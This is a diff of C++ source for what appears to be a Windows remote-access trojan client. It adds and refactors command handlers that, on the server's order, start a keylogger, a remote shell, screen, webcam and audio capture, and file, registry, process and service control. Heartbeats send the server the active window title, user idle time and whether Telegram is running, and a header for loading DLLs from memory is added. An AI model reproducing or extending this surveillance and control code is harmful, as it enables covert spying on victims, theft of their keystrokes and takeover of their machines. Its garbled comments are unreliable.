LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||
return OnServerSending(szBuffer, ulOriginalLength);
|
||||
}
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
@@ -62,15 +100,17 @@ public:
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
|
||||
VOID setManagerCallBack(CManager* Manager);
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID Disconnect();
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
|
||||
public:
|
||||
CManager* m_Manager;
|
||||
CRITICAL_SECTION m_cs;
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
|
||||
|
||||
@@ -8,14 +8,22 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
||||
{
|
||||
m_ulThreadCount = 0;
|
||||
#ifdef _DEBUG
|
||||
m_settings = { 5 };
|
||||
#else
|
||||
m_settings = { 30 };
|
||||
#endif
|
||||
m_nNetPing = -1;
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
@@ -112,48 +120,74 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
else if (!isExit){
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(true);
|
||||
m_hThread[m_ulThreadCount].p = nullptr;
|
||||
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||
}
|
||||
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_SHARE:
|
||||
if (ulLength > 2) {
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA: {
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
break;
|
||||
}
|
||||
case SHARE_TYPE_HOLDINGHANDS:
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_HEARTBEAT_ACK:
|
||||
if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now()
|
||||
);
|
||||
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
|
||||
}
|
||||
break;
|
||||
case CMD_MASTERSETTING:
|
||||
if (ulLength > sizeof(MasterSettings)) {
|
||||
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
LoopKeyboardManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TALK:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopTalkManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopShellManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
LoopProcessManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopWindowManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -161,7 +195,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = 1;
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
OutputDebugStringA("======> Client exit \n");
|
||||
break;
|
||||
}
|
||||
@@ -170,7 +204,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = 2;
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
OutputDebugStringA("======> Server exit \n");
|
||||
break;
|
||||
}
|
||||
@@ -181,78 +215,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopScreenManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE :
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopFileManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopVideoManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopAudioManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopRegisterManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopServicesManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE:
|
||||
{
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
}
|
||||
ULONGLONG size=0;
|
||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = 3;
|
||||
g_bExit = S_CLIENT_UPDATE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
OutputDebugStringA("======> Error operator\n");
|
||||
char buffer[256] = {};
|
||||
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
|
||||
Mprintf("!!! Unknown command: %s\n", buffer);
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
}
|
||||
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,64 @@
|
||||
|
||||
#define MAX_THREADNUM 0x1000>>2
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iomanip>
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
|
||||
class ActivityWindow {
|
||||
public:
|
||||
std::string Check(DWORD threshold_ms = 6000) {
|
||||
auto idle = GetUserIdleTime();
|
||||
BOOL isActive = (idle < threshold_ms);
|
||||
if (isActive) {
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
return "Inactive: " + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
DWORD totalSeconds = ms / 1000;
|
||||
DWORD hours = totalSeconds / 3600;
|
||||
DWORD minutes = (totalSeconds % 3600) / 60;
|
||||
DWORD seconds = totalSeconds % 60;
|
||||
|
||||
std::stringstream ss;
|
||||
ss << std::setfill('0')
|
||||
<< std::setw(2) << hours << ":"
|
||||
<< std::setw(2) << minutes << ":"
|
||||
<< std::setw(2) << seconds;
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
std::string GetActiveWindowTitle()
|
||||
{
|
||||
HWND hForegroundWindow = GetForegroundWindow();
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
{
|
||||
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
|
||||
GetLastInputInfo(&lii);
|
||||
return lii.dwTime;
|
||||
}
|
||||
|
||||
DWORD GetUserIdleTime()
|
||||
{
|
||||
return (GetTickCount64() - GetLastInputTime());
|
||||
}
|
||||
};
|
||||
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
||||
struct ThreadInfo
|
||||
{
|
||||
@@ -21,13 +79,16 @@ struct ThreadInfo
|
||||
HANDLE h;
|
||||
IOCPClient *p;
|
||||
void* user;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
|
||||
CONNECT_ADDRESS* conn;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKernelManager(IOCPClient* ClientObject);
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
@@ -36,6 +97,66 @@ public:
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||
ULONG m_ulThreadCount;
|
||||
UINT GetAvailableIndex();
|
||||
|
||||
MasterSettings m_settings;
|
||||
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int SendHeartbeat() {
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
Sleep(1000);
|
||||
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
if (g_bExit || !m_ClientObject->IsConnected())
|
||||
return -1;
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, m_nNetPing);
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
return 0;
|
||||
}
|
||||
bool SoftwareCheck(int type) {
|
||||
static std::map<int, std::string> m = {
|
||||
{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"},
|
||||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||||
};
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool IsProcessRunning(const std::vector<std::string>& processNames) {
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD>̵Ŀ<CCB5><C4BF><EFBFBD>
|
||||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
return true;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD><EFBFBD>
|
||||
if (Process32First(hProcessSnap, &pe32)) {
|
||||
do {
|
||||
for (const auto& processName : processNames) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD>䣬<EFBFBD><EFBFBD> true
|
||||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||||
CloseHandle(hProcessSnap);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
}
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
|
||||
@@ -11,7 +11,6 @@
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
using namespace std;
|
||||
|
||||
#define FILE_PATH "\\MODIf.html"
|
||||
#define CAPTION_SIZE 1024
|
||||
@@ -114,9 +113,9 @@ int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
||||
}
|
||||
|
||||
|
||||
string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
{
|
||||
string KeyString = "";
|
||||
std::string KeyString = "";
|
||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
||||
@@ -496,7 +495,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
string TempString = GetKey (i);
|
||||
std::string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -178,7 +178,7 @@ std::string getProcessTime() {
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
@@ -189,12 +189,6 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||
char szPCName[MAX_PATH] = {0};
|
||||
gethostname(szPCName, MAX_PATH);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ClientIP
|
||||
sockaddr_in ClientAddr;
|
||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||
int iLen = sizeof(sockaddr_in);
|
||||
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
|
||||
|
||||
DWORD dwCPUMHz;
|
||||
dwCPUMHz = CPUClockMHz();
|
||||
|
||||
@@ -205,10 +199,9 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType)
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
sprintf_s(LoginInfor.szReserved, "%s", nType==CLIENT_TYPE_DLL?"DLL":"EXE");
|
||||
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
||||
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType));
|
||||
|
||||
return iRet;
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -5,6 +5,6 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed, int nType);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -121,11 +121,10 @@ BOOL SelectDesktop(TCHAR* name)
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject)
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||
{
|
||||
m_bIsDead = false;
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this);
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||
}
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include <windows.h>
|
||||
#include "..\common\commands.h"
|
||||
|
||||
class IOCPClient;
|
||||
#include "IOCPClient.h"
|
||||
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
@@ -23,10 +21,10 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
|
||||
1202
client/MemoryModule.c
Normal file
168
client/MemoryModule.h
Normal file
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
